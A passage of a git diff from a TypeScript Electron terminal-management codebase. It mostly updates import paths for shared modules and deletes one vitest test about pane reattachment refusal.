from '../provider/ownership-state' import { reconcilePaneOwner } from './stable-pane-attach' import type { OrcaRuntimeService } from '../../../runtime/orca-runtime' diff --git a/src/main/ipc/pty/pane/agent-session-owners.ts b/src/main/ipc/pty/pane/agent-session-owners.ts index bf22985f213..ea6f4bb0521 100644 --- a/src/main/ipc/pty/pane/agent-session-owners.ts +++ b/src/main/ipc/pty/pane/agent-session-owners.ts @@ -8,7 +8,7 @@ import { isPtyIncarnationId } from '../../../../shared/terminal/pty/lifecycle/pt import type { OrcaRuntimeService } from '../../../runtime/orca-runtime' import type { PtySpawnResult } from '../../../providers/pty/spawn-result' import { ptyIncarnationById, ptyOwnership } from '../provider/ownership-state' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import { registeredPtyProviders, tryGetProviderForPty } from '../provider/registry' // Coordinate claims across provider boundaries, including shared namespaces reached through different relays. diff --git a/src/main/ipc/pty/pane/fresh-pane-binding.ts b/src/main/ipc/pty/pane/fresh-pane-binding.ts index 888db33c38c..5af1bc4dc4c 100644 --- a/src/main/ipc/pty/pane/fresh-pane-binding.ts +++ b/src/main/ipc/pty/pane/fresh-pane-binding.ts @@ -2,7 +2,7 @@ import type { Store } from '../../../persistence/loading-store/store' import type { PersistPtyBindingArgs } from '../../../persistence/loading-store/terminal-bindings/pty-binding-persistence' import { ptyBindingIsRefused } from '../../../persistence/loading-store/terminal-bindings/pty-binding-refusals' import { makePaneKey } from '../../../../shared/workspace-layout/stable-pane-id' -import { toSshExecutionHostId } from '../../../../shared/execution-host' +import { toSshExecutionHostId } from '../../../../shared/execution-host/execution-host' import { isAbsentBindingReplay, PaneOwnerContentionError, diff --git a/src/main/ipc/pty/pane/pane-owner-replacement.ts b/src/main/ipc/pty/pane/pane-owner-replacement.ts index d594534f17b..f8434a10921 100644 --- a/src/main/ipc/pty/pane/pane-owner-replacement.ts +++ b/src/main/ipc/pty/pane/pane-owner-replacement.ts @@ -1,4 +1,4 @@ -import { toSshExecutionHostId } from '../../../../shared/execution-host' +import { toSshExecutionHostId } from '../../../../shared/execution-host/execution-host' import { parsePaneKey } from '../../../../shared/workspace-layout/stable-pane-id' import type { Store } from '../../../persistence/loading-store/store' import type { PersistPtyBindingArgs } from '../../../persistence/loading-store/terminal-bindings/pty-binding-persistence' diff --git a/src/main/ipc/pty/pane/pane-spawn-operation.ts b/src/main/ipc/pty/pane/pane-spawn-operation.ts index 3f6f19ffc10..f64a4b468e1 100644 --- a/src/main/ipc/pty/pane/pane-spawn-operation.ts +++ b/src/main/ipc/pty/pane/pane-spawn-operation.ts @@ -1,5 +1,5 @@ import { makePaneKey } from '../../../../shared/workspace-layout/stable-pane-id' -import { toSshExecutionHostId } from '../../../../shared/execution-host' +import { toSshExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { Store } from '../../../persistence/loading-store/store' import { ptyBindingIsRefused } from '../../../persistence/loading-store/terminal-bindings/pty-binding-refusals' import type { PtySpawnOutcome } from '../spawn-outcome' diff --git a/src/main/ipc/pty/pane/spawn-registration.ts b/src/main/ipc/pty/pane/spawn-registration.ts index 749c221386f..feab3a0ecee 100644 --- a/src/main/ipc/pty/pane/spawn-registration.ts +++ b/src/main/ipc/pty/pane/spawn-registration.ts @@ -12,7 +12,7 @@ import { setAdoptedPtyOwnership, setPtyOwnership } from '../provider/ownership-state' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host/execution-host' import { finishPtyShutdown, isPtyAlreadyGoneError } from '../provider/liveness' import { PtyExitProof } from '../../../pty/process-retirement/pty-exit-proof' import { errorMessage } from '../../../../shared/errors/error-message' diff --git a/src/main/ipc/pty/pane/stable-owner.ts b/src/main/ipc/pty/pane/stable-owner.ts index 609ee10af96..f74a3508369 100644 --- a/src/main/ipc/pty/pane/stable-owner.ts +++ b/src/main/ipc/pty/pane/stable-owner.ts @@ -1,7 +1,7 @@ import { persistFreshPaneBinding } from './fresh-pane-binding' import { rollbackWorkspaceSessionAfterFailedAsyncWrite } from '../../../persistence/restoring-sessions/workspace-session-write-rollback' import { cloneWorkspaceSessionState } from '../../../persistence/restoring-sessions/session-owner-fields' -import { toSshExecutionHostId } from '../../../../shared/execution-host' +import { toSshExecutionHostId } from '../../../../shared/execution-host/execution-host' import { makePaneKey, parsePaneKey } from '../../../../shared/workspace-layout/stable-pane-id' import type { Store } from '../../../persistence/loading-store/store' import { retireTerminalSurfaceFromPersistence } from '../../../runtime/terminal/surface/mobile-session-terminal-persistence-retirement' diff --git a/src/main/ipc/pty/pane/stable-pane-absence-death-certificate.test.ts b/src/main/ipc/pty/pane/stable-pane-absence-death-certificate.test.ts deleted file mode 100644 index 99ac3a654dd..00000000000 --- a/src/main/ipc/pty/pane/stable-pane-absence-death-certificate.test.ts +++ /dev/null @@ -1,105 +0,0 @@ -// Only the owning registry's typed absence can prove exit; an untyped not-found message may instead mean the route was lost. -import { describe, expect, it, vi } from 'vitest' -import { withDurableRuntimeStore } from '../../../runtime/orca-runtime-tests/runtime-durable-store-fixture' -import { getDefaultWorkspaceSession } from '../../../../shared/constants' -import type { WorkspaceSessionState } from '../../../../shared/workspace-session/workspace-session-state-types' -import type { Store } from '../../../persistence/loading-store/store' -import type { IPtyProvider } from '../../../providers/pty/provider-contract' -import { OrcaRuntimeService } from '../../../runtime/orca-runtime' -import { adoptStablePane } from './adopt-stable' -import * as providers from '../provider/registry' - -const CONNECTION = 'conn-1' -const WORKTREE = 'repo-1::/tmp/pane-absence' -const TAB = 'tab-1' -const LEAF = '1b3f2c4d-5e6a-4b7c-8d9e-0f1a2b3c4d5e' -const SIBLING_LEAF = '2c4d3e5f-6a7b-4c8d-9e0f-1a2b3c4d5e6f' -const PTY_ID = 'ssh:conn-1@@pty2:epoch-a:1' - -function paneStore(): { store: Store; read: () => WorkspaceSessionState } { - let session = { - ...getDefaultWorkspaceSession(), - tabsByWorktree: { - [WORKTREE]: [{ id: TAB, type: 'terminal', worktreeId: WORKTREE, ptyId: PTY_ID }] - }, - terminalLayoutsByTabId: { - [TAB]: { - root: { - type: 'split', - direction: 'row', - first: { type: 'leaf', leafId: LEAF }, - second: { type: 'leaf', leafId: SIBLING_LEAF } - }, - activeLeafId: LEAF, - ptyIdsByLeafId: { [LEAF]: PTY_ID, [SIBLING_LEAF]: 'ssh:conn-1@@pty2:epoch-a:2' } - } - } - } as unknown as WorkspaceSessionState - return { - read: () => session, - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: This fixture supplies the persistence methods used by stable-pane retirement and exit bookkeeping. - store: withDurableRuntimeStore({ - getWorkspaceSession: () => session, - setWorkspaceSession: (next: WorkspaceSessionState) => { - session = next - }, - flushOrThrow: () => {}, - getRepos: () => [ - { - id: 'repo-1', - path: '/tmp/pane-absence', - displayName: 'pane-absence', - badgeColor: '#000000', - addedAt: 0 - } - ], - getAllWorktreeMeta: () => ({}), - getWorktreeMeta: () => undefined, - setWorktreeMeta: () => {}, - removeWorktreeMeta: () => {}, - getSettings: () => ({ workspaceDir: '/tmp/workspaces' }), - getProjects: () => [] - }) as unknown as Store - } -} - -async function runtimeOwning(store: Store): Promise { - const runtime = new OrcaRuntimeService(store as never) - runtime.setPtyController({ - write: () => true, - kill: () => true, - hasPty: () => null, - listProcesses: async () => [], - getForegroundProcess: async () => null - } as never) - runtime.attachWindow(1) - await runtime.syncWindowGraph(1, { tabs: [], leaves: [] }) - runtime.registerPty(PTY_ID, WORKTREE, CONNECTION) - return runtime -} - -describe('a stable pane whose reattach was refused', () => { - it('refuses to abandon the binding on an untyped "not found" string', async () => { - const { store, read } = paneStore() - const before = JSON.stringify(read()) - const runtime = await runtimeOwning(store) - const spawn = vi.fn().mockRejectedValue(new Error(`PTY "pty2:epoch-a:1" not found`)) - - // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the rejected attachment calls only spawn and never admits this provider. - vi.spyOn(providers, 'getProvider').mockReturnValue({ spawn } as unknown as IPtyProvider) - await expect( - adoptStablePane(runtime, store, { - cols: 80, - rows: 24, - tabId: TAB, - leafId: LEAF, - worktreeId: WORKTREE, - connectionId: CONNECTION - }) - ).rejects.toThrow('not found') - - expect(spawn).toHaveBeenCalledTimes(1) - expect(runtime.getPtyLivenessVerdict(PTY_ID)).toBeNull() - expect(JSON.stringify(read())).toBe(before) - }) -}) diff --git a/src/main/ipc/pty/pane/terminal-pane-status-lifecycle.ts b/src/main/ipc/pty/pane/terminal-pane-status-lifecycle.ts index e8887901ce5..7829e9958b2 100644 --- a/src/main/ipc/pty/pane/terminal-pane-status-lifecycle.ts +++ b/src/main/ipc/pty/pane/terminal-pane-status-lifecycle.ts @@ -1,7 +1,7 @@ import { agentHookServer } from '../../../agent-hooks/server/agent-hook-server' import type { Store } from '../../../persistence/loading-store/store' import type { OrcaRuntimeService } from '../../../runtime/orca-runtime' -import { toSshExecutionHostId } from '../../../../shared/execution-host' +import { toSshExecutionHostId } from '../../../../shared/execution-host/execution-host' import { parsePaneKey } from '../../../../shared/workspace-layout/stable-pane-id' import { collectLeafIds } from '../../../../shared/workspace-layout/terminal-topology/terminal-pane-layout-tree' import { paneKeyPtyId } from './key-state' diff --git a/src/main/ipc/pty/provider/local-configure.ts b/src/main/ipc/pty/provider/local-configure.ts index 6a89b3fcc1a..c905d268823 100644 --- a/src/main/ipc/pty/provider/local-configure.ts +++ b/src/main/ipc/pty/provider/local-configure.ts @@ -2,7 +2,7 @@ import { getClaudeAgentViewService } from '../../../claude/agent-view/agent-view import { inheritOmpLaunchEnvironment } from '../host-env/omp-launch-environment' import { getAppEnvironment } from '../../../../shared/app-lifecycle/app-environment' import type { OrcaRuntimeService } from '../../../runtime/orca-runtime' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import { isAgentStatusHooksEnabled } from '../../../../shared/agent-hook-listener/configuration/agent-status-hooks-setting' import { isPwshAvailableAsync } from '../../../pty/shell-startup/pwsh' import { LocalPtyProvider } from '../../../providers/local-pty/local-pty-provider' diff --git a/src/main/ipc/pty/provider/ownership-state.ts b/src/main/ipc/pty/provider/ownership-state.ts index 19fa40c8c9c..f2cd9fcdb35 100644 --- a/src/main/ipc/pty/provider/ownership-state.ts +++ b/src/main/ipc/pty/provider/ownership-state.ts @@ -3,7 +3,7 @@ import { LOCAL_EXECUTION_HOST_ID, toSshExecutionHostId, type ExecutionHostId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' // Later write/resize/kill requests carry only PTY ID; preserve its execution host for routing. export const ptyOwnership = new Map() diff --git a/src/main/ipc/pty/provider/registry.ts b/src/main/ipc/pty/provider/registry.ts index 52624eded73..e11b14134f9 100644 --- a/src/main/ipc/pty/provider/registry.ts +++ b/src/main/ipc/pty/provider/registry.ts @@ -13,7 +13,7 @@ import { LOCAL_EXECUTION_HOST_ID, toSshExecutionHostId, type ExecutionHostId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import { getPtyExecutionHost } from '../../../../shared/terminal/pty/lifecycle/terminal-execution-host' export let localProvider: IPtyProvider = new LocalPtyProvider() diff --git a/src/main/ipc/pty/pty-closed-pane-spawn-refusal.test.ts b/src/main/ipc/pty/pty-closed-pane-spawn-refusal.test.ts index 48a63aee197..0eb40377454 100644 --- a/src/main/ipc/pty/pty-closed-pane-spawn-refusal.test.ts +++ b/src/main/ipc/pty/pty-closed-pane-spawn-refusal.test.ts @@ -1,6 +1,6 @@ import { afterEach, describe, expect, it, vi } from 'vitest' -import { getDefaultWorkspaceSession } from '../../../shared/constants' -import { LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host' +import { getDefaultWorkspaceSession } from '../../../shared/orca-profiles/constants' +import { LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host/execution-host' import type { WorkspaceSessionState } from '../../../shared/workspace-session/workspace-session-state-types' import { _resetClosedPaneFencesForTests, diff --git a/src/main/ipc/pty/pty-launch-race-test-fixture.ts b/src/main/ipc/pty/pty-launch-race-test-fixture.ts index 433debc8751..c48f682245c 100644 --- a/src/main/ipc/pty/pty-launch-race-test-fixture.ts +++ b/src/main/ipc/pty/pty-launch-race-test-fixture.ts @@ -1,4 +1,4 @@ -import { getDefaultWorkspaceSession } from '../../../shared/constants' +import { getDefaultWorkspaceSession } from '../../../shared/orca-profiles/constants' import type { PersistPtyBindingArgs } from '../../persistence/loading-store/terminal-bindings/pty-binding-persistence' import { ptyBindingIsRefused } from '../../persistence/loading-store/terminal-bindings/pty-binding-refusals' import { applyPtyBinding } from '../../persistence/loading-store/terminal-bindings/pty-binding-session-update' diff --git a/src/main/ipc/pty/pty-pane-owner-swap.test-fixture.ts b/src/main/ipc/pty/pty-pane-owner-swap.test-fixture.ts index 912b49d9970..47eb9707cc5 100644 --- a/src/main/ipc/pty/pty-pane-owner-swap.test-fixture.ts +++ b/src/main/ipc/pty/pty-pane-owner-swap.test-fixture.ts @@ -2,7 +2,7 @@ import { vi, type Mock } from 'vitest' import { PtyBindingPersistenceOperations } from '../../persistence/loading-store/terminal-bindings/pty-binding-persistence' import { ptyBindingGenerationOf } from '../../persistence/loading-store/terminal-bindings/pty-binding-generations' -import type { ExecutionHostId } from '../../../shared/execution-host' +import type { ExecutionHostId } from '../../../shared/execution-host/execution-host' import type { PtyIpcSuiteFixtures } from './pty-ipc-test-harness' import { TerminalKilledError } from '../../daemon/providers/adapter/daemon-pty-lifecycle-errors' import { SessionNotFoundError } from '../../daemon/protocol/daemon-errors' diff --git a/src/main/ipc/pty/register-handlers.ts b/src/main/ipc/pty/register-handlers.ts index afda45b92b0..045a8ef1475 100644 --- a/src/main/ipc/pty/register-handlers.ts +++ b/src/main/ipc/pty/register-handlers.ts @@ -3,7 +3,7 @@ import { createLocalPtyStartupPromises } from './local-startup-promises' import { getAppEnvironment } from '../../../shared/app-lifecycle/app-environment' import type { OrcaRuntimeService } from '../../runtime/orca-runtime' import type { Store } from '../../persistence/loading-store/store' -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' import { LocalPtyProvider } from '../../providers/local-pty/local-pty-provider' import type { TerminalStartupCwdMissingDirFallback } from '../../../shared/shell/launch/terminal-startup-cwd' import { diff --git a/src/main/ipc/pty/register-headless-runtime.ts b/src/main/ipc/pty/register-headless-runtime.ts index ccf82872aeb..00ab39ea85f 100644 --- a/src/main/ipc/pty/register-headless-runtime.ts +++ b/src/main/ipc/pty/register-headless-runtime.ts @@ -1,6 +1,6 @@ import type { OrcaRuntimeService } from '../../runtime/orca-runtime' import type { Store } from '../../persistence/loading-store/store' -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' import type { CodexHomePtySpawnedLifecycleArgs, GetSelectedCodexHomePath, diff --git a/src/main/ipc/pty/runtime/controller-deps.ts b/src/main/ipc/pty/runtime/controller-deps.ts index 129abceeccc..ac75d22c03d 100644 --- a/src/main/ipc/pty/runtime/controller-deps.ts +++ b/src/main/ipc/pty/runtime/controller-deps.ts @@ -2,7 +2,7 @@ import type { PtyRendererDelivery } from '../session' import type { OrcaRuntimeService } from '../../../runtime/orca-runtime' import type { Store } from '../../../persistence/loading-store/store' import type { IPtyProvider } from '../../../providers/pty/provider-contract' -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import type { TerminalStartupCwdMissingDirFallback } from '../../../../shared/shell/launch/terminal-startup-cwd' import type { CodexHomePtySpawnedLifecycleArgs, diff --git a/src/main/ipc/pty/runtime/foreground-process-evidence-capability.ts b/src/main/ipc/pty/runtime/foreground-process-evidence-capability.ts index 49874afe6db..2f69abc3728 100644 --- a/src/main/ipc/pty/runtime/foreground-process-evidence-capability.ts +++ b/src/main/ipc/pty/runtime/foreground-process-evidence-capability.ts @@ -1,5 +1,8 @@ import { getProvider, registeredPtyProviders } from '../provider/registry' -import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId } from '../../../../shared/execution-host' +import { + LOCAL_EXECUTION_HOST_ID, + type ExecutionHostId +} from '../../../../shared/execution-host/execution-host' /** Probe the owning provider before opting into the no-process-table inventory projection. */ export async function supportsForegroundProcessEvidenceFromRuntimeController( diff --git a/src/main/ipc/pty/runtime/inventory-operations.ts b/src/main/ipc/pty/runtime/inventory-operations.ts index 9dcc89f4eb9..49392a38937 100644 --- a/src/main/ipc/pty/runtime/inventory-operations.ts +++ b/src/main/ipc/pty/runtime/inventory-operations.ts @@ -1,6 +1,9 @@ import { getPtyIdsForHost } from '../provider/ownership-state' import { getProvider, localProvider, registeredPtyProviders } from '../provider/registry' -import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId } from '../../../../shared/execution-host' +import { + LOCAL_EXECUTION_HOST_ID, + type ExecutionHostId +} from '../../../../shared/execution-host/execution-host' import type { PtyProcessInfo } from '../../../providers/pty/process-info' import type { PtyRuntimeControllerDeps } from './controller-deps' diff --git a/src/main/ipc/pty/runtime/operations.ts b/src/main/ipc/pty/runtime/operations.ts index 9df8a743473..5bb75bbac0f 100644 --- a/src/main/ipc/pty/runtime/operations.ts +++ b/src/main/ipc/pty/runtime/operations.ts @@ -1,5 +1,5 @@ import { isRemoteRuntimePtyId } from '../../../../shared/remote-runtime/remote-runtime-pty-id' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../shared/execution-host/execution-host' import type { IPtyProvider } from '../../../providers/pty/provider-contract' import { LocalPtyProvider } from '../../../providers/local-pty/local-pty-provider' import { ptyOwnership } from '../provider/ownership-state' diff --git a/src/main/ipc/pty/runtime/spawn-preflight-test-deps-fixture.ts b/src/main/ipc/pty/runtime/spawn-preflight-test-deps-fixture.ts index a22e2b932a5..7a649588daf 100644 --- a/src/main/ipc/pty/runtime/spawn-preflight-test-deps-fixture.ts +++ b/src/main/ipc/pty/runtime/spawn-preflight-test-deps-fixture.ts @@ -1,5 +1,5 @@ import type { BrowserWindow } from 'electron' -import { getDefaultSettings } from '../../../../shared/constants' +import { getDefaultSettings } from '../../../../shared/orca-profiles/constants' import { finishPtyShutdown } from '../provider/liveness' import type { PtyRuntimeControllerDeps } from './controller-deps' diff --git a/src/main/ipc/pty/runtime/spawn-preflight.ts b/src/main/ipc/pty/runtime/spawn-preflight.ts index 381743b82de..080218a6c26 100644 --- a/src/main/ipc/pty/runtime/spawn-preflight.ts +++ b/src/main/ipc/pty/runtime/spawn-preflight.ts @@ -19,7 +19,7 @@ import { localPtySpawnCwd } from '../host-env/spawn-cwd' import { resolvePtySpawnStartupTarget } from '../spawn-startup-target' import { resolvePtySpawnHostEnv } from '../spawn-host-env' import { ptySpawnPaneFromIds, stampPtySpawnPaneEnv } from '../spawn-pane-env' -import { getConnectionExecutionHostId } from '../../../../shared/execution-host' +import { getConnectionExecutionHostId } from '../../../../shared/execution-host/execution-host' import { ensureJcodeRuntimeDir, JCODE_RUNTIME_DIR_ENV_KEY diff --git a/src/main/ipc/pty/session.ts b/src/main/ipc/pty/session.ts index 379126d5536..9ff782621ee 100644 --- a/src/main/ipc/pty/session.ts +++ b/src/main/ipc/pty/session.ts @@ -1,7 +1,7 @@ import type { BrowserWindow, WebContents } from 'electron' import type { OrcaRuntimeService } from '../../runtime/orca-runtime' import type { Store } from '../../persistence/loading-store/store' -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' import type { IPtyProvider } from '../../providers/pty/provider-contract' import type { PtyModelRestoreReason } from '../../../shared/terminal/replay/pty-model-restore-marker' import type { diff --git a/src/main/ipc/pty/spawn-begin.ts b/src/main/ipc/pty/spawn-begin.ts index bce2c924b93..8af4c6f2534 100644 --- a/src/main/ipc/pty/spawn-begin.ts +++ b/src/main/ipc/pty/spawn-begin.ts @@ -9,7 +9,7 @@ import { getAppPtyId } from './provider/registry' import { ptyOwnership, ptyIncarnationById } from './provider/ownership-state' import { attachOnlyViewOf } from './pane/attach-only-view' import { pendingRuntimePaneCreatesByOwnerKey } from './pane/spawn-reservation' -import { getConnectionExecutionHostId } from '../../../shared/execution-host' +import { getConnectionExecutionHostId } from '../../../shared/execution-host/execution-host' import { ensureWslHookRelayForReattach } from '../../agent-hooks/wsl-relay/wsl-hook-relay-reattach' export async function beginPtySpawn( diff --git a/src/main/ipc/pty/spawn-commit-assembly.ts b/src/main/ipc/pty/spawn-commit-assembly.ts index b84791864ec..862383e2747 100644 --- a/src/main/ipc/pty/spawn-commit-assembly.ts +++ b/src/main/ipc/pty/spawn-commit-assembly.ts @@ -2,7 +2,7 @@ import { readTerminalStartFailure } from '../../../shared/terminal/pty/lifecycle import type { PtySpawnSizeSeed } from './spawn-options-assembly' import { isValidTerminalTabId } from '../../../shared/workspace-layout/terminal-surfaces/terminal-tab-id' import type { AgentSessionClaimedSpawnResult } from '../../../shared/agent-session/agent-session-host-authority' -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' import type { TuiAgent } from '../../../shared/agent-launch/catalog/tui-agent' import type { Store, PtyBindingSourceExpectation } from '../../persistence/loading-store/store' import type { OrcaRuntimeService } from '../../runtime/orca-runtime' diff --git a/src/main/ipc/pty/spawn-host-env.ts b/src/main/ipc/pty/spawn-host-env.ts index 071b834d3b8..8c2766625ff 100644 --- a/src/main/ipc/pty/spawn-host-env.ts +++ b/src/main/ipc/pty/spawn-host-env.ts @@ -1,7 +1,7 @@ import { getClaudeAgentViewService } from '../../claude/agent-view/agent-view-service' import type { AgentProviderSessionMetadata } from '../../../shared/agent-session/lifecycle/agent-session-resume' import { getAppEnvironment } from '../../../shared/app-lifecycle/app-environment' -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' import { stampRuntimeSourceEnv } from '../../../shared/remote-runtime/host-catalog/runtime-source-env' import { SETUP_AGENT_SEQUENCE_SETUP_SCRIPT_ENV } from '../../../shared/agent-launch/startup/setup-agent-sequencing' import type { TuiAgent } from '../../../shared/agent-launch/catalog/tui-agent' diff --git a/src/main/ipc/pty/spawn-options-assembly.ts b/src/main/ipc/pty/spawn-options-assembly.ts index 2a308056697..6a000648f40 100644 --- a/src/main/ipc/pty/spawn-options-assembly.ts +++ b/src/main/ipc/pty/spawn-options-assembly.ts @@ -2,7 +2,7 @@ import { withClaudeAgentViewPlugin } from '../../../shared/agent-hook-listener/p import { resolveStartupShell } from '../../../shared/agent-launch/startup/tui-agent-startup-shell' import { resolveLocalWindowsAgentStartupShell } from '../../../shared/shell/launch/windows-terminal-shell' import { getAppEnvironment } from '../../../shared/app-lifecycle/app-environment' -import type { GlobalSettings } from '../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../shared/settings/global-settings-types' import { isTuiAgent } from '../../../shared/agent-launch/catalog/tui-agent-config' import { withCodexTerminalServerIsolationEnv } from '../../../shared/agent-launch/startup/codex-terminal-server-isolation' import { getLegacyOpenCodeEnvKeysToDelete } from '../../opencode/status-hooks/legacy-shared-config-dir' diff --git a/src/main/ipc/remote-filesystem-owner.ts b/src/main/ipc/remote-filesystem-owner.ts index 1dd79bdea44..e4cee962e20 100644 --- a/src/main/ipc/remote-filesystem-owner.ts +++ b/src/main/ipc/remote-filesystem-owner.ts @@ -1,4 +1,4 @@ -import { parseExecutionHostId } from '../../shared/execution-host' +import { parseExecutionHostId } from '../../shared/execution-host/execution-host' /** Local reads require a placeable local owner; malformed stamps fail closed. Repo runtime: stamps identify this store, not peers. */ export function hasRemoteFilesystemOwner(scope: { diff --git a/src/main/ipc/renderer-settings-update.ts b/src/main/ipc/renderer-settings-update.ts index e8c8792c999..caafad5efdf 100644 --- a/src/main/ipc/renderer-settings-update.ts +++ b/src/main/ipc/renderer-settings-update.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../shared/global-settings-types' +import type { GlobalSettings } from '../../shared/settings/global-settings-types' import { NEW_TAB_MENU_LAYOUT_SETTING, normalizeNewTabMenuLayout diff --git a/src/main/ipc/renderer-shutdown-checkpoint.ts b/src/main/ipc/renderer-shutdown-checkpoint.ts index 4d8559f90c7..3add1b186e7 100644 --- a/src/main/ipc/renderer-shutdown-checkpoint.ts +++ b/src/main/ipc/renderer-shutdown-checkpoint.ts @@ -3,10 +3,10 @@ import { LOCAL_EXECUTION_HOST_ID, normalizeExecutionHostId, type ExecutionHostId -} from '../../shared/execution-host' +} from '../../shared/execution-host/execution-host' import type { SleepingAgentSessionRecord } from '../../shared/agent-session/lifecycle/agent-session-resume' import { applyCommandToSession } from '../persistence/terminal-topology/pane-admission/terminal-pane-admission' -import type { PersistedUIState } from '../../shared/persisted-ui-state-types' +import type { PersistedUIState } from '../../shared/orca-profiles/persisted-ui-state-types' import type { WorkspaceSessionState } from '../../shared/workspace-session/workspace-session-state-types' import type { Store } from '../persistence/loading-store/store' import { isFrozenOrcadSourceSessionPartition } from '../persistence/migrating-orcad-catalog/source/catalog/orcad-source-visibility' diff --git a/src/main/ipc/repos/base-ref-query-handlers.ts b/src/main/ipc/repos/base-ref-query-handlers.ts index 49f7f4f9d40..cbe4c649996 100644 --- a/src/main/ipc/repos/base-ref-query-handlers.ts +++ b/src/main/ipc/repos/base-ref-query-handlers.ts @@ -15,7 +15,7 @@ import { getRepoExecutionHostId, getRepoRoutingConnectionId, type ExecutionHostId -} from '../../../shared/execution-host' +} from '../../../shared/execution-host/execution-host' import { getDefaultBaseRefAsync as getBaseRefDefault } from '../../git/refs/resolution/repo-default-base-ref' import { getRemoteCount } from '../../git/remotes/repo-remote-queries' import { searchBaseRefDetails } from '../../git/refs/resolution/repo-base-ref-search' diff --git a/src/main/ipc/repos/local-repo-registration.ts b/src/main/ipc/repos/local-repo-registration.ts index 5372f8fe228..5c796c301a4 100644 --- a/src/main/ipc/repos/local-repo-registration.ts +++ b/src/main/ipc/repos/local-repo-registration.ts @@ -8,7 +8,10 @@ import { getGitRepoRootAsync } from '../../git/repositories/discovery/repo-detection' import { getRepoName } from '../../git/repositories/repository-name' -import { getRepoExecutionHostId, LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host' +import { + getRepoExecutionHostId, + LOCAL_EXECUTION_HOST_ID +} from '../../../shared/execution-host/execution-host' import { findProjectAtSameRealPath } from '../../workspaces/catalog/project-realpath-identity' import { detectRepoLocalMetadata } from '../../repository-icons/repo-icon-autodetect' import { prepareLocalWorktreeRootForRepo } from '../../workspaces/creation/worktree-root-preparation' diff --git a/src/main/ipc/repos/nested-repo-import-handler.ts b/src/main/ipc/repos/nested-repo-import-handler.ts index 8f79b0cbfe1..42f2674499f 100644 --- a/src/main/ipc/repos/nested-repo-import-handler.ts +++ b/src/main/ipc/repos/nested-repo-import-handler.ts @@ -5,7 +5,7 @@ import type { Store } from '../../persistence/loading-store/store' import type { Repo } from '../../../shared/repository/repo-types' import type { RepositoryMetadataOwner } from '../../workspaces/catalog/imported-folder-project-link' import type { ProjectGroupImportResult } from '../../../shared/project/groups/project-group-types' -import { DEFAULT_REPO_BADGE_COLOR } from '../../../shared/constants' +import { DEFAULT_REPO_BADGE_COLOR } from '../../../shared/repository/appearance/repo-badge-color' import { normalizeRuntimePathForComparison } from '../../../shared/file-access/cross-platform-path' import { awaitWindowsHostGitEnvironmentReady } from '../../git/command-runner/host-routing/windows-host-git-environment' import { isGitRepoAsync } from '../../git/repositories/discovery/repo-detection' @@ -15,7 +15,10 @@ import { resolveNestedRepoSelection } from '../../project-groups/nested-repo-import' import { createNestedRepoImportTargetResolver } from '../../project-groups/nested-repo-import-target' -import { getRepoExecutionHostId, LOCAL_EXECUTION_HOST_ID } from '../../../shared/execution-host' +import { + getRepoExecutionHostId, + LOCAL_EXECUTION_HOST_ID +} from '../../../shared/execution-host/execution-host' import { detectRepoLocalMetadata } from '../../repository-icons/repo-icon-autodetect' import { prepareLocalWorktreeRootForRepo } from '../../workspaces/creation/worktree-root-preparation' import { invalidateAuthorizedRootsCache } from '../worktrees/removal/registered-worktree-roots-cache' diff --git a/src/main/ipc/repos/project-host-setup-handlers.ts b/src/main/ipc/repos/project-host-setup-handlers.ts index b9fe882c24c..d0ff29df04b 100644 --- a/src/main/ipc/repos/project-host-setup-handlers.ts +++ b/src/main/ipc/repos/project-host-setup-handlers.ts @@ -17,7 +17,10 @@ import { type RepositoryMetadataOwner } from '../../workspaces/catalog/imported-folder-project-link' import { readCurrentGitRemoteIdentity } from '../../workspaces/catalog/repo-git-remote-identity' -import { getRepoExecutionHostId, parseExecutionHostId } from '../../../shared/execution-host' +import { + getRepoExecutionHostId, + parseExecutionHostId +} from '../../../shared/execution-host/execution-host' import { prepareLocalWorktreeRootForRepo } from '../../workspaces/creation/worktree-root-preparation' import { updateProjectHostSetupWithProvenKind } from '../../workspaces/catalog/folder-repo-git-conversion' import { invalidateAuthorizedRootsCache } from '../worktrees/removal/registered-worktree-roots-cache' diff --git a/src/main/ipc/repos/repo-catalog-handlers.ts b/src/main/ipc/repos/repo-catalog-handlers.ts index 55c8c241042..b2969eff18c 100644 --- a/src/main/ipc/repos/repo-catalog-handlers.ts +++ b/src/main/ipc/repos/repo-catalog-handlers.ts @@ -5,7 +5,7 @@ import { getRepoExecutionHostId, normalizeExecutionHostId, parseExecutionHostId -} from '../../../shared/execution-host' +} from '../../../shared/execution-host/execution-host' import type { OrcaRuntimeService } from '../../runtime/orca-runtime' import { enrichRepoGitUsernames } from '../../workspaces/catalog/repo-git-username-enrichment' import { 